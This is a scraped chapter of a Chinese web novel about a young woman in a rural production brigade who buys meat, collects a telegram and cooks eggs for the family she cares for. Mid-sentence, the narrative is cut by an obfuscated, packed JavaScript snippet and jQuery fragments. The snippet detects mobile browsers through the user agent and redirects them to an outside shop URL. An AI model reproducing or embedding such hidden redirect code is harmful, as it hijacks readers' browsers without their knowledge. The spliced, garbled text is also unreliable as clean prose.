第129章 电报上说了啥?

作品:《带娃随军,给绝嗣京少看男科他红温了

    陈嘉卉站在食品站的猪肉铺子前,看着这个光着膀子,穿着黑色大围裙的中年男人,他虽然长得有些五大三粗,可是脸上的笑容却十分亲近淳朴。


    对方笑了笑,捏紧手里的刀,道,“陈嘉卉同志,我看过你的照片,是我们镇长给我的,说是你是锦城来的文艺工作者。”


    这照片,是肖松华寄到镇上的,特地跟镇长打了招呼,说这是他媳妇下乡支持下乡的文艺工作,要镇长帮忙照应着,尤其是采买物资的时候,希望能行个方便。


    不过这一点,陈嘉卉并不知道。


    原本她要割五斤肉,是不允许的,对方却一口答应了。


    这卖肉的师傅手起刀落,刀尖精准地落在后腿肉的位置,只见他手腕一转,尖刀顺着肉的纹理划下去,带起一片肥瘦相间的后腿肉,割了一大块下来。


    他把肉往秤砣的挂钩上一挂,秤砣滑了两下,稳稳地停在五斤半的位置上。


    然后收了称,把这一大块后腿肉用黄草纸包起来,外头再用细麻绳捆紧,朝陈嘉卉递了过去。


    那肉香混着淡淡的血腥味飘过来,尽管陈嘉卉昨晚才吃了兔子肉,可还是忍不住直咽口水,她赶紧小心翼翼地捧着肉,就算外面用黄草纸包裹着,依旧有油花浸出来,可她却不怕这油花蹭在自己身上,紧紧地抱在怀里,生怕蹭掉一点油星,又小心翼翼地放进了自己的背篓里。


    背上背篓,她笑盈盈地看着卖肉的师傅,“大哥,你贵姓啊?”


    “免贵姓万。”对方虽是长得粗鄙,笑起来却十分淳朴。


    “万大哥,谢谢你了。”


    陈嘉卉道了谢,又去买了一筐鸡蛋,然后到副食处买了核桃酥和蛋烘糕还有安安宁宁盼巴巴的口哨糖,再补了些调味料。


    最后打探着,找到了卖鸡、鸭、鹅苗的地方,用星月教她的法子,挑了些小鸡、小鸭、小鹅装在篮子里,又用一块铺盖在上面。


    团结大队只是一个小公社,没有邮电所。


    陈嘉卉又打听着,找到了镇上的邮电局。


    乔星月他们是下放改造的,取电报会被限制,还会查看电报内容,而且手续麻烦。所以下放之前,两家人商量好了,城里有什么消息,都让陈嘉卉作为收电报人。


    快要到晌午了,日头毒辣得很。


    陈嘉卉攥着介绍信,踩着晒得发软的土路,迈进邮电局的门槛。


    这邮电局是镇上唯一的通讯点,就一间青砖瓦房,门楣上挂着块褪色的木要牌子,门没关,风一吹就吱呀响。


    门口摆着个掉漆的绿色邮筒,上面积了层灰,透出斑斑锈迹。


    陈嘉卉一进门,一股子油墨味混合着纸张的味扑面而来。屋子不大,工作人员只有两个,他们面前摆着两张掉腿的木桌,上面摞着老高的信件和报纸,还摆了一台老式的电报机滴滴答答的电流声断断续续响着。


    桌前坐的戴蓝布帽的中年男人,约莫四十来岁,脸上的皱纹深得像刀刻的,见她来了,抬头问,“同志,有啥事?”


    陈嘉卉把介绍信和取电报凭证递过去,“我是团结大队……”


    没等她话说完,对方打量着她,道,“哦,你是那个团结大队新来的文艺工作者,陈同志,是吧?”


    陈嘉卉这就奇了怪了。


    去食品站买肉的时候,割肉的万师傅认得她。


    来邮电局取电报,工作人员也认得她?


    就算乔星月在这里有熟人,也不可能到处都是她的熟人吧,难道是肖松华?


    除了肖松华,还能有谁会提前跟工作人员打好招呼,让他们关照着她?


    她这刚开口,对方就知道她姓陈,肯定是有人提前打好了招呼,这人肯定是肖松华。没想到他远在锦城,还能帮她把团结大队这边的关系给打点好。


    对方拉开铁皮柜,翻出一张印着红格的电报纸,隔着柜台递给她,“陈同志,这是锦城来的电报,昨天刚到的。本来准备今天去团结大队,给你送去的。之前锦城有个姓肖的团长,特地给我们邮电局发过电报,说是你是从城里来的文艺工作者,是他的媳妇,要我们多多照应着点。”


    果然如陈嘉卉所料。


    如今谢陈两家人都被下放到了团结大队,唯一的联系只能靠电报。


    要是邮电局使点绊子,拿不到电报,他们在团结大队不知道保卫科那边究竟是啥情况,心里不知道得有多着急。


    还是肖松华想得周到。


    此时此刻,陈嘉卉心里猛地一暖,像是揣了个热乎乎的烤红薯。


    肖松华是外硬汉,平时嗓声粗,不爱说话,嘴也笨,从来不会说任何甜言蜜语,却悄悄托了人把团结大队的关系都疏通了,也把她在乡下将遇到的难处都规避了。


    她填完表,按了手印,攥着电报说了声谢谢,然后往外走。


    风拂过脸颊,刚刚还觉得热烘烘的,这会儿却只闻着风中淡淡的青草味,那味道让人心里舒坦,又摸了摸手里的电报,嘴角忍不住往上扬。


    肖松华这个男人,看起来粗枝大叶的,没想到他的心竟然这般细,以前她怎么没有发现?


    或许以前她把所有的注意力都放在了谢中铭身上,所以才没有注意到肖松华竟然是个如此体贴心细之人。


    阳光洒在她的蓝布衣上,映得她眉眼明亮。


    走在晒得发烫的土路上,陈嘉卉忽然觉得,这下乡的日子好像也没那么难熬了。


    团结大队农机站的拖拉机师傅,约定好了在镇上的池塘口等大家,怕耽误时间,陈嘉卉脚下的步子越走越快。


    然后坐着拖拉机,和村里的人一起回了团结大队。


    回去的时候,已经正晌午了。


    陈嘉卉煮了十四个鸡蛋,留了三个给安安宁宁还有老太太,其余的十一个,准备拿去地里给大家伙改善伙食。


    多出来的一个,准备给星月,让星月吃两个鸡蛋。


    老太太把自己的那颗鸡蛋,递给陈嘉卉,“嘉卉,你下地的时候,把这颗鸡蛋给星月,她怀着娃,得补身子。”


    陈嘉卉把老太太手里暖乎乎的鸡蛋往她面前一推,“谢奶奶,你自己留着吃,别省。你年纪大了,也是需要补充营养。我知道星月怀了娃,所以我特地给她多煮了一个鸡蛋。”


    陈嘉卉想着,星月也太不容易了。


    她怀安安宁宁的时候,被亲妈曾秀珠给赶出家门,生两个娃的时候身边一个人都没有,带着两个娃四处流浪讨饭吃,硬生生从两百多斤瘦到现在这个样子。


    好不容易和谢家相认了,这才刚和谢中铭补办结婚证,日子还没安生几天,又跟着谢家一起下放到团结大队。现在怀了二胎,谢中铭依然不在身边。


    说着,陈嘉卉把搪瓷碗里的煮鸡蛋,拿给陈素英看了看,“谢奶奶,你看,足足十一个鸡蛋,我会盯着星月多吃一个鸡蛋的,你就放心吧。”


    说着,她还摇了摇绿色的军用水壶,笑盈盈道,“我还给星月兑了糖水,给她补充体力的。”


    陈素英数了数,一,二,三……十一。


    果真是十一个鸡蛋。


    下地干活的人一共十个,星月确实可以多吃一个。


    如此以来,陈素英这才没有把手里的鸡蛋再硬塞给陈嘉卉,她看着嘉卉那张笑盈盈的脸,欣慰道,“嘉卉,我们谢家多亏了你,也多亏了松华那小子。”


    嘉卉曾经喜欢她家老四。


    松华又喜欢嘉卉。


    按理说,星月是嘉卉的情敌,中铭也是松华的情敌。


    可嘉卉偏偏和星月成了最好的姐妹,松华也和中铭是最好的可以交命的好兄弟,这两份情谊难成可贵。


    “好孩子,你下地的时候,路上小心点。田间石头多,坑坑洼洼的,走路可得当心些。”


    “放心吧。”


    说着,陈嘉卉摸了摸安安宁宁的脑袋。


    这两个娃手里拽着刚刚煮好的鸡蛋,一直舍不得吃。


    陈嘉卉说,“安安宁宁,你们和太奶奶一起,赶紧趁鸡蛋还热乎着剥了吃了。”


    安安宁宁知道,这样美味的鸡蛋今天吃着了,明天就吃不着了,所以就算再馋也舍不得。


    陈嘉卉知道两个娃心里想啥,定是想着把这两鸡蛋窝到明天,再拿给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014904|193408||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    太奶奶,或者是两个奶奶,或者是给星月留着。


    两个娃有多懂事,嘉卉心知肚明。


    她指了指围在篱笆里叽叽喳喳的小鸡、小鸭、小鹅,又摸了摸两个娃的脑袋,“你们看,那些鸡、鸭、鹅冬天的时候就能生蛋了。到时候咱们每天都可以捡蛋,你们也别省着,正是长身体的时候,赶紧把鸡蛋吃了,这才乖。”


    陈素英拉着安安宁宁,坐到那张长桌子的长条凳上,拿走两个娃手里的鸡蛋在桌子上磕了几下。


    蛋壳破了。


    陈素英长满皱纹的双手,小心翼翼地剥着鸡蛋。


    一个完整光滑的鸡蛋,很快塞到了安安的手里,接着又一个白生生的鸡蛋塞到了宁宁手里。


    “乖,赶紧吃。”


    “太奶奶也吃。”


    安安帮陈素英也剥了鸡蛋,递给她。


    陈嘉卉看着这温馨的一幕,心里暖洋洋的。


    以后等她回了城,要是肖松华不嫌弃她,还愿意和她在一起。她要是和肖松华生了孩子,会不会也像安安宁宁这般乖巧懂事。她也喜欢女娃,要是能给肖松华生个女娃……


    瞧……她在想啥呢?


    莫名的,突然脸颊发烫。


    眼尖的安安发现陈嘉卉脸颊突然红了起来,不由昂着脑袋问她,“卉姨姨,你脸咋那么红?这是咋了,生病啦?”


    “没有,没有,卉姨身体好着呢,咋可能生病。”陈嘉卉心里打着鼓,赶紧擦了擦额角的汗,“可能是天太热了。对了……”


    她目光落在陈素英身上,从衣兜里拿出一张牛皮纸信封,赶紧转移了话题,“谢奶奶,锦城来了电报,你要不要先看一眼。”


    一路急着往回赶,陈嘉卉也没来得及看看电报内容写了啥。


    “是不是你爸和你谢叔他们有消息了。”陈素英朝她望来时,眼里写满了期盼。


    “我也没来得及看,我先看一眼哈。”


    陈嘉卉赶忙把电报从牛皮纸信封里掏出来,再把那封叠得四四方方的电报展开来,一边展开,一边笑盈盈道,“肯定是好消息,我爹和谢叔还有谢家几兄弟,肯定有眉目了。”


    陈素英同样盼着谢江和陈胜华还有她那几个孙子,不用蹲大牢,不用受那判刑的罪,同样眼巴巴地看着她把电报展开。


    陈嘉卉展开了电报,屏着气,一目一行快速浏览着电报内容时,指尖都在哆嗦。


    她一瞬一瞬地盯着纸面,起初脸上的笑意还浓得化不开,像沾了蜜似的,连眉梢都扬着喜劲儿。


    她看着电报,陈素英则看着她。


    可看着看着,她脸上的笑意像被一阵风吹散的云似的,一点点褪去。


    嘴角慢慢耷拉下来,接着眼里的光,一点点暗下去,暗得像被乌云遮住了。


    握着电报的手越攥越紧,指节都泛了白,电报纸被她揉得皱巴巴的,发出细碎的响声。


    那声音像是扎进陈素英心里的,密密麻麻的针。


    **月份的天气还带着热意,空气里扑着热浪,可气氛瞬间变冷,连外头的蝉鸣声都变得无比聒噪了起来。


    陈素英忍不住问,“嘉卉,咋了?是不是出啥事了?”


    陈嘉卉没出声,只是呆呆地站在原地,眼神空洞地望着手里的电报,嘴唇翕动了几下,却半个字也吐不出来。


    刚才那股兴奋劲儿像潮水一样退得干干净净。


    一股沉甸甸的愁容染上眉眼,压得她连呼吸都变得困难。


    陈素英赶忙把电报抢过去。


    就在那张电报要被陈素英夺过去的时候,陈嘉卉紧紧一攥,往面前一拉。


    “嘉卉,让奶奶看一眼。”陈素英也紧攥着电报不松手。


    陈嘉卉的心像被针扎一样,却死死地攥紧电报。


    两人的手都死死地扣着电报那张薄薄的纸张,一拉一拽,薄薄的红格电报纸被扯得绷直,发出嘶啦轻响。


    “嘉卉,电报上到底说了啥,赶紧让奶奶看一眼。”老太太的声音带着急切,担忧,与浓浓的愁绪,染得整间牛棚的气氛瞬间降到冰点,连吃着鸡蛋的安安宁宁也跟着停下了吃鸡蛋的动作。